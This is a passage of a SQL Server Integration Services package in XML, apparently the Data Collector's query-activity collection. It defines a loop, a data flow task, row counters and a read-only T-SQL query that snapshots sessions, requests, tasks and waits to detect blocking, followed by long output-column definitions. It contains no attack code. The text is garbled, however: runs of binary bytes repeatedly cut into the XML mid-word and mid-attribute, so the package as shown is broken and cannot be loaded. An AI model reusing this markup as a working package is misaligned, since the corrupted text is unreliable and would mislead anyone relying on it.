DTS:ExecutableType="STOCK:FOREACHLOOP" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="LOOP - Query the query statitics DMV at collection frequency"><DTS:ForEachEnumerator DTS:CreationName="DC.ForEachEventEnumerator.2" DTS:DTSID="{7283E196-D60C-438F-A58A-0EA1F41BBCF4}" DTS:ObjectName="{7283E196-D60C-438F-A58A-0EA1F41BBCF4}"><DTS:PropertyExpression DTS:Name="ExitEventName">@[User::ExitEventName]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="LoopEventName">@[User::LoopEventName]</DTS:PropertyExpression><DTS:ObjectData><ForEachEventEnumeratorProperties><FEEEProperty LoopEventName="LOOPEVENT"/><FEEEProperty ExitEventName="EXITEVENT"/></ForEachEventEnumeratorProperties></DTS:ObjectData></DTS:ForEachEnumerator><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{95939949-1EF7-4DBA-AEF0-B10AC4B72C90}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DMVErrorRowCount"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B356F852-7B0D-4AA4-B0AF-8059B4115055}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DMVInOutRowCount"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File" DTS:CreationName="STOCK:SEQUENCE" DTS:Description="Sequence Container" DTS:DTSID="{248F0EC3-4871-4BFD-9DA7-63A3B581738D}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SEQ - Synchronize Access to Cache File"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{182E1184-374B-4AE0-A2FB-86F07932D2F3}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SyncRoot"><DTS:VariableValue DTS:DataType="8">QueryActivityLock</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:Executables><DTS:Executable DTS:refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data" DTS:CreationName="SSIS.Pipeline.3" DTS:Description="Data Flow Task" DTS:DTSID="{CA0ED25A-27F6-4388-8E38-1F26D1A55878}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Collect DMV Data" DTS:	!!!!!!!!!!!!!!!!!!!!!!!!`,6cǿ*HvTaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{DEFF42DC-F496-4750-AAAF-1C264D92FC49}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheFilePrefixPattern] + &quot;.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheFileName"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity.cache</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Error row count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Error row count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::DMVErrorRowCount</property></properties><inputs><input refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Error row count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Error row count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Error row count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Input row count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Input row count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::DMVInOutRowCount</property></properties><inputs><input refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Input row count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Input row count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\CNT - Input row count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft 	!!!!!!!!!!!!!!!!!!!!!!!!`-6c	>HvCorporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="ODS - Get snapshot of dm_exec_requests" usesDispositions="true" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">SET NOCOUNT ON

-- Get the collection time as UTC time
DECLARE @collection_time datetime
SET @collection_time = GETDATE()

SELECT
CONVERT(int, ROW_NUMBER() OVER (ORDER BY sess.session_id, ISNULL (req.request_id, -1), ISNULL (tasks.exec_context_id, -1)) ) AS row_id,
-- IDs and Blocking IDs
sess.session_id, 
ISNULL (req.request_id, -1) AS request_id, 
ISNULL (tasks.exec_context_id, -1) AS exec_context_id, 
ISNULL (req.blocking_session_id, 0) AS blocking_session_id,
CONVERT (bit, CASE 
                WHEN EXISTS (SELECT TOP 1 session_id FROM sys.dm_exec_requests bl WHERE bl.blocking_session_id = req.session_id) THEN 1
                ELSE 0
              END) AS is_blocking,
ISNULL (waits.blocking_exec_context_id, 0) AS blocking_exec_context_id, 
tasks.scheduler_id, 
DB_NAME(req.database_id) as database_name, 
req.[user_id], 

-- State information
LEFT (tasks.task_state, 10) AS task_state, 
LEFT (req.status, 15) AS request_status, 
LEFT (sess.status, 15) AS session_status,
req.executing_managed_code, 

-- Session information
sess.login_time, 
sess.is_user_process, 
LEFT (ISNULL (sess.[host_name], ''), 20) AS [host_name], 
LEFT (ISNULL (sess.[program_name], ''), 50) AS [program_name], 
LEFT (ISNULL (sess.login_name, ''), 30) AS login_name, 

-- Waits information
LEFT (ISNULL (req.wait_type, ''), 45) AS wait_type, 
LEFT (ISNULL (req.last_wait_type, ''), 45) AS last_wait_type, 
ISNULL (waits.wait_duration_ms, 0) AS wait_duration_ms, 
LEFT (ISNULL (req.wait_resource, ''), 50) AS wait_resource, 
LEFT (ISNULL (waits.resource_description, ''), 140) AS resource_description,

-- Transaction information
req.transaction_id, 
ISNULL(req.open_transaction_count, 0) AS open_transaction_count,
COALESCE(req.transaction_isolation_level, sess.transaction_isolation_level) AS transaction_isolation_level,

-- Request stats
req.cpu_time AS request_cpu_time, 
req.logical_reads AS request_logical_reads, 
req.reads AS request_reads, 
req.writes AS request_writes, 
req.total_elapsed_time AS request_total_elapsed_time, 
req.start_time AS request_start_time, 

-- Session stats
sess.memory_usage, 
sess.cpu_time AS session_cpu_time, 
sess.reads AS session_reads, 
sess.writes AS session_writes, 
sess.logical_reads AS session_logical_reads, 
sess.total_scheduled_time AS session_total_scheduled_time, 
sess.total_elapsed_time AS session_total_elapsed_time, 
sess.last_request_start_time, 
sess.last_request_end_time, 
req.open_resultset_count AS open_resultsets, 
sess.row_count AS session_row_count, 
sess.prev_error, 
tasks.pending_io_count, 

-- Text/Plan handles
ISNULL (req.command, 'AWAITING COMMAND') AS command,  
req.plan_handle, 
req.sql_handle, 
req.statement_start_offset, 
req.statement_end_offset,
@collection_time AS collection_time
FROM sys.dm_exec_sessions sess 
LEFT OUTER MERGE JOIN sys.dm_exec_requests req  ON sess.session_id = req.session_id
LEFT OUTER MERGE JOIN sys.dm_os_tasks tasks ON tasks.session_id = sess.session_id AND tasks.request_id = req.request_id AND tasks.task_address = req.task_address
LEFT OUTER M	!!!!!!!!!!!!!!!!!!!!!!!!`.6c
SRGHvERGE JOIN sys.dm_os_waiting_tasks waits ON waits.session_id = sess.session_id AND waits.waiting_task_address = req.task_address
WHERE 
    sess.session_id &lt;&gt; @@SPID
    AND
    (
        (req.session_id IS NOT NULL AND (sess.is_user_process = 1 OR req.status COLLATE Latin1_General_BIN NOT IN ('background', 'sleeping')))	-- active request
            OR 
        (sess.session_id IN (SELECT DISTINCT blocking_session_id FROM sys.dm_exec_requests WHERE blocking_session_id != 0))		            -- not active, but head blocker
    )
OPTION (FORCE ORDER)</property><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable">User::DMVSelectSQL</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">2</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[TargetConnection]" connectionManagerRefId="Package.ConnectionManagers[TargetConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output]" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[statement_start_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[statement_start_offset]" name="statement_start_offset" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[statement_end_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[statement_end_offset]" name="statement_end_offset" truncationRowDisposition="FailComponent"/><outputColumn refI	!!!!!!!!!!!!!!!!!!!!!!!!`/69Hvd="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[collection_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[collection_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[collection_time]" name="collection_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[sql_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[sql_handle]" name="sql_handle" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[plan_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[plan_handle]" name="plan_handle" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[row_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[row_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[row_id]" name="row_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_id]" dataType="i2" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Col	!!!!!!!!!!!!!!!!!!!!!!!!`06>pHvlect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_id]" name="session_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_id]" name="request_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[exec_context_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[exec_context_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[exec_context_id]" name="exec_context_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[blocking_session_id]" dataType="i2" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[blocking_session_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[blocking_session_id]" name="blocking_session_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[is_blocking]" dataType="bool" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[is_blocking]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[is_blocking]" name="is_blocking" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Qu	!!!!!!!!!!!!!!!!!!!!!!!!`16 Hvery the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[blocking_exec_context_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[blocking_exec_context_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[blocking_exec_context_id]" name="blocking_exec_context_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[scheduler_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[scheduler_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[scheduler_id]" name="scheduler_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[database_name]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[database_name]" length="128" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[database_name]" name="database_name" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[user_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[user_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[user_id]" name="user_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[task_state]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache 	!!!!!!!!!!!!!!!!!!!!!!!!`26$_<HvFile\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[task_state]" length="10" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[task_state]" name="task_state" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_status]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_status]" length="15" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_status]" name="request_status" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_status]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_status]" length="15" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_status]" name="session_status" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[executing_managed_code]" dataType="bool" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[executing_managed_code]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[executing_managed_code]" name="executing_managed_code" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[login_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[login_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[login_time]" name="login_tim	!!!!!!!!!!!!!!!!!!!!!!!!`36%H0Hve" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[is_user_process]" dataType="bool" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[is_user_process]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[is_user_process]" name="is_user_process" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[host_name]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[host_name]" length="20" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[host_name]" name="host_name" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - 